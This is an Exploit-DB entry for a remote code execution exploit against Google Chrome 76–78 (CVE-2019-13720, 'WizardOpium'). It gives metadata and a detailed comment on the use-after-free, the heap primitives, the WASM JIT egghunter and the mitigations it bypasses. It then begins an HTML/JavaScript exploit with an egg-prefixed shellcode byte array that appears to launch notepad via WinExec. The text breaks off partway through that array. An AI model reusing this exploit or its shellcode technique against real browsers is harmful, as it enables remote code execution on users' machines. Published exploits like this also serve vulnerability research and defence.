Exploit-DB #50917
Description: Google Chrome 78.0.3904.70 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2022-05-11
Author: Forrest Orr

Exploit:
# Exploit Title: Google Chrome 78.0.3904.70 - Remote Code Execution
# Date: 2022-05-03
# Exploit Author: deadlock (Forrest Orr)
# Type: RCE
# Platform: Windows
# Website: https://forrest-orr.net
# Twitter: https://twitter.com/_ForrestOrr
# Vendor Homepage: https://www.google.com/chrome/
# Software Link: https://github.com/forrest-orr/WizardOpium/blob/main/Google_Chrome_Portable_64bit_v76.0.3809.132.zip
# Versions: Chrome 76 - 78.0.3904.70
# Tested on: Chrome 76.0.3809.132 Official Build 64-bit on Windows 10 x64
# CVE: CVE-2019-13720
# Bypasses: DEP, High Entropy ASLR, CFG, CET
# Github: https://github.com/forrest-orr/WizardOpium

<html>
<script>
/*;; --------------------------------------------------------------------- |
;;;; Google Chrome Use After Free - CVE-2019-13720 - Wizard Opium          |
;;;; --------------------------------------------------------------------- |
;;;; Author: deadlock (Forrest Orr) - 2022                                 |
;;;; --------------------------------------------------------------------- |
;;;; Licensed under GNU GPLv3                                              |
;;;; --------------------------------------------------------------------- |
;;;; Tested with Chrome 76.0.3809.132 Official Build 64-bit on Windows 10  |
;;;; 64-bit with CPU core counts:                                          |
;;;;   ~ 16 cores (non-virtualized) | works                                |
;;;;   ~ 4 cores (virtualized)      | works                                |
;;;;   ~ 2 cores (virtualized)      | works                                |
;;;;   ~ 1 core (virtualized)       | fails                                |
;;;;                                                                       |
;;;; All of these tests finished successfully with a 95%+ success rate     |
;;;; with the exception of the 1 core tests, which fail with a 100%        |
;;;; frequency. Due to the nature of the exploit as both a UAF highly      |
;;;; sensitive to the state of the heap and a race condition, it appears   |
;;;; that a single core is unable to reliably reproduce the UAF or any     |
;;;; kind of consistency in the heap between executions.                   |
;;;; --------------------------------------------------------------------- |
;;;; Bypasses: DEP, High Entropy ASLR, CFG, CET                            |
;;;; --------------------------------------------------------------------- |
;;;; ## Sandboxing                                                         |
;;;;  ~ Chrome uses an isolated content child proces running under a       |
;;;;    restricted token below Low Integrity to render JavaScript.         |
;;;;  ~ Child process creation is restricted via Windows exploit           |
;;;;    mitigation features on the OS level for Chrome renderers.          |
;;;;  ~ The original WizardOpium chain used a win32k LPE exploit as a      |
;;;;    sandbox escape (this was limited to Windows 7 since in newer       |
;;;;    versions of Windows win32k syscalls are locked in Chrome for       |
;;;;    security purposes).                                                |
;;;;  ~ Run Chrome with the "--no-sandbox" parameter in order to execute   |
;;;;    the WinExec shellcode within this exploit source.                  |
;;;; --------------------------------------------------------------------- |
;;;; ## Notes                                                              |
;;;;  ~ This UAF targets the PartitionAlloc heap and abuses the freelist   |
;;;;    for both infoleaks and R/W primitives.                             |
;;;;  ~ The exploit should in theory work in any version of Chrome up to   |
;;;;    78.0.3904.87 but has only been tested on 76.0.3809.132.            |
;;;;  ~ WASM JIT/egghunter design for code execution: a WASM module is     |
;;;;    initialized resulting in the creation of a single page of +RWX     |
;;;;    JIT memory. This is then overwritten with a 673 byte egghunter     |
;;;;    shellcode.                                                         |
;;;;  ~ The egghunter will scan through all committed +RW regions of       |
;;;;    private memory within the compromised chrome.exe renderer process  |
;;;;    and mark any region it identifies as +RWX which contains the egg   |
;;;;    QWORD bytes and subsequentially execute it via a CALL instruction. |
;;;;  ~ Shellcode used within this exploit should be encoded as a Uint8    |
;;;;    array prefixed by the following egg QWORD bytes:                   |
;;;;    0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88                     |
;;;; --------------------------------------------------------------------- |
;;;; ## Credits                                                            |
;;;;  ~ Kaspersky for identifying and analyzing the WizardOpium exploit    |
;;;;    chain in the wild.                                                 |
;;;; -------------------------------------------------------------------- */

const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x90, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0x90, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x90, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0xea, 0x6f, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xa1, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00, 0x51, 0x48, 0xb9, 0x57, 0x53, 0x5c, 0x6e, 0x6f, 0x74, 0x65, 0x70, 0x51, 0x48, 0xb9, 0x43, 0x3a, 0x5c, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48,